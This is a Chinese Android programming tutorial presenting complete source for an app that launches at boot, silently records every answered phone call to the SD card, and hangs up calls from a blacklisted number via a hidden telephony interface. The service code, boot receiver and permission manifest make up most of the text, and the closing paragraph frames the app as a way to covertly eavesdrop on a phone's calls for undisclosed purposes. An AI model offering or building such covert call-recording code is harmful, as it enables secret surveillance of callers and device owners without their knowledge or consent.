欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  移动技术

Android开发实现的电话窃听和拦截应用

程序员文章站 2024-03-06 15:51:02
本文实例讲述了android开发实现的电话窃听和拦截应用。分享给大家供大家参考,具体如下: 今天学习了进程间service的通信-->aidl,基于前几天学习的广播...

本文实例讲述了android开发实现的电话窃听和拦截应用。分享给大家供大家参考,具体如下:

今天学习了进程间service的通信-->aidl,基于前几天学习的广播机制,我做了一个简单的电话窃听和录音应用。现将具体实现方法附在下面,供大家参考,希望大家提供一些宝贵的意见。

业务需求分析:

1.当手机处于开机状态,监听服务就要启动,对来电进行监听录音。

2.设置电话黑名单,当来电是黑名单电话,则直接挂断。

实现步骤:

首先我们要定义一个电话监听的服务,对来电进行监听录音和拦截。具体代码如下:

phonelistenerservice:

package cn.yj3g.l21_phonelistener;
import java.lang.reflect.method;
import com.android.internal.telephony.itelephony;
import android.app.service;
import android.content.context;
import android.content.intent;
import android.media.mediarecorder;
import android.os.environment;
import android.os.ibinder;
import android.telephony.phonestatelistener;
import android.telephony.telephonymanager;
import android.util.log;
import android.view.layoutinflater;
import android.view.view;
import android.widget.toast;
public class phonelistenerservice extends service {
  private mediarecorder recorder;
  private boolean recording = false;
  @override
  public ibinder onbind(intent intent) {
    return null;
  }
  @override
  public void oncreate() {
    log.v("tag", "service oncreate()");
    super.oncreate();
    //电话服务管理
    telephonymanager manager = (telephonymanager) getsystemservice(context.telephony_service);
    //监听电话状态
    manager.listen(listener, phonestatelistener.listen_call_state);
  }
  private phonestatelistener listener = new phonestatelistener() {
    /*
     * @see telephonymanager#call_state_idle 值为0
     *
     * @see telephonymanager#call_state_ringing 值为1
     *
     * @see telephonymanager#call_state_offhook 值为2
    */
    @override
    public void oncallstatechanged(int state, string incomingnumber) {
      super.oncallstatechanged(state, incomingnumber);
      //打印电话状态改变信息
      log.v("tag", "oncallstatechanged state=" + state);
      switch (state) {
      case telephonymanager.call_state_idle: // 没有来电 或者 挂断
        stoprecord();
        break;
      case telephonymanager.call_state_ringing: // 响铃时
        stop(incomingnumber);
        break;
      case telephonymanager.call_state_offhook: // 接起电话
        recordcalling();
        break;
      default:
        break;
      }
    }
  };
  //停止录音
  private void stoprecord() {
    log.v("tag", "stoprecord");
    if (recording) {
      recorder.stop();
      recorder.release();
      recording=false;
    }
  }
  //电话拦截
  public void stop(string s) {
    try {
      if (s.equals("110")) {
        toast.maketext(this, "拦截成功", 0).show();
        log.e("tag", "此来电为黑名单号码,已被拦截!");
        //调用itelephony.endcall()结束通话
        method method = class.forname("android.os.servicemanager")
            .getmethod("getservice", string.class);
        ibinder binder = (ibinder) method.invoke(null,
            new object[] { telephony_service });
        itelephony telephony = itelephony.stub.asinterface(binder);
        telephony.endcall();
      } else
        toast.maketext(this, "不需拦截", 0).show();
      recording=false;
    } catch (exception e) {
      e.printstacktrace();
    }
  }
  //进行录音
  private void recordcalling() {
    try {
      log.v("tag", "recordcalling");
      recorder = new mediarecorder();
      recorder.setaudiosource(mediarecorder.audiosource.mic); // 读麦克风的声音
      recorder.setoutputformat(mediarecorder.outputformat.three_gpp);// 输出格式.3gp
      recorder.setaudioencoder(mediarecorder.audioencoder.amr_nb);// 编码方式
      recorder.setoutputfile(environment.getexternalstoragedirectory()
          .getabsolutepath()
          + "/"
          + system.currenttimemillis()
          + ".3gp");// 存放的位置是放在sdcard目录下
      recorder.prepare();
      recorder.start();
      recording = true;
    } catch (exception e) {
      e.printstacktrace();
    }
  }
}

android没有对外公开结束通话的api,如果需要结束通话,必须使用aidl与电话管理服务进行通信, 并调用服务中的api实现结束通话,方法如下:

1.从android的源代码中拷贝以下文件到项目中:

com/android/internal/telephony/itelephony.aidl
android/telephony/neighboringcellinfo.aidl

如下图所示.开发工具会在gen目录下自动生成itelephony.java

Android开发实现的电话窃听和拦截应用

我们知道服务不能自己启动,需要手动启动,所以我们需要一个广播,当手机刚开机,我们就发送广播,启动监听电话的服务。下面是我写的一个发送广播的receiver

bootcompletereceiver:

package cn.yj3g.l21_phonelistener;
import android.content.broadcastreceiver;
import android.content.context;
import android.content.intent;
import android.util.log;
public class bootcompletereceiver extends broadcastreceiver {
  @override
  public void onreceive(context context, intent intent) {
    //运用广播开启监听这个服务
    log.v("tag", "开机了!");
      intent i = new intent(context, phonelistenerservice.class);
      i.setflags(intent.flag_activity_new_task);//由于之前运行不能实现功能,经老师的修改加上一个任务标志
      context.startservice(i);
  }
}

下面就是要在androidmanifest.xml中配置相关的权限:具体代码如下:

androidmanifest.xml:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
   package="cn.yj3g.l21_phonelistener"
   android:versioncode="1"
   android:versionname="1.0">
  <uses-sdk android:minsdkversion="8" />
  <application android:icon="@drawable/icon" android:label="@string/app_name">
    <service android:name=".phonelistenerservice">
      <intent-filter>
       <action android:name="cn.yj3g.l21_phonelistener.phonelistenerservice" ></action>
      </intent-filter>
    </service>
    <receiver android:name=".bootcompletereceiver">
      <intent-filter>
       <action android:name="android.intent.action.boot_completed" />
      </intent-filter>
    </receiver>
  </application>
   <!-- 读取电话状态权限-->
  <uses-permission android:name="android.permission.read_phone_state"/>
   <!-- 录音权限 -->
  <uses-permission android:name="android.permission.record_audio"/>
  <!-- 向sdcard中写数据的权限 -->
  <uses-permission android:name="android.permission.write_external_storage" />
  <!-- 开机启动广播的权限 -->
  <uses-permission android:name="android.permission.receive_boot_completed" />
  <!-- 挂断电话时需要的权限 -->
   <uses-permission android:name="android.permission.call_phone" />
</manifest>

这样一个监听电话的应用就做好了。当安装此应用的手机开机时,来电就处于监听状态,这样就可以不动声色的对该手机的来电进行监听录音或者拦截,以达到不可告人的目的。

ps:关于android manifest功能与权限设置详细内容可参考本站在线工具:

android manifest功能与权限描述大全:

http://tools.jb51.net/table/androidmanifest

更多关于android相关内容感兴趣的读者可查看本站专题:《android开发入门与进阶教程》、《android视图view技巧总结》、《android编程之activity操作技巧总结》、《android操作sqlite数据库技巧总结》、《android操作json格式数据技巧总结》、《android数据库操作技巧总结》、《android文件操作技巧汇总》、《android编程开发之sd卡操作方法汇总》、《android资源操作技巧汇总》及《android控件用法总结

希望本文所述对大家android程序设计有所帮助。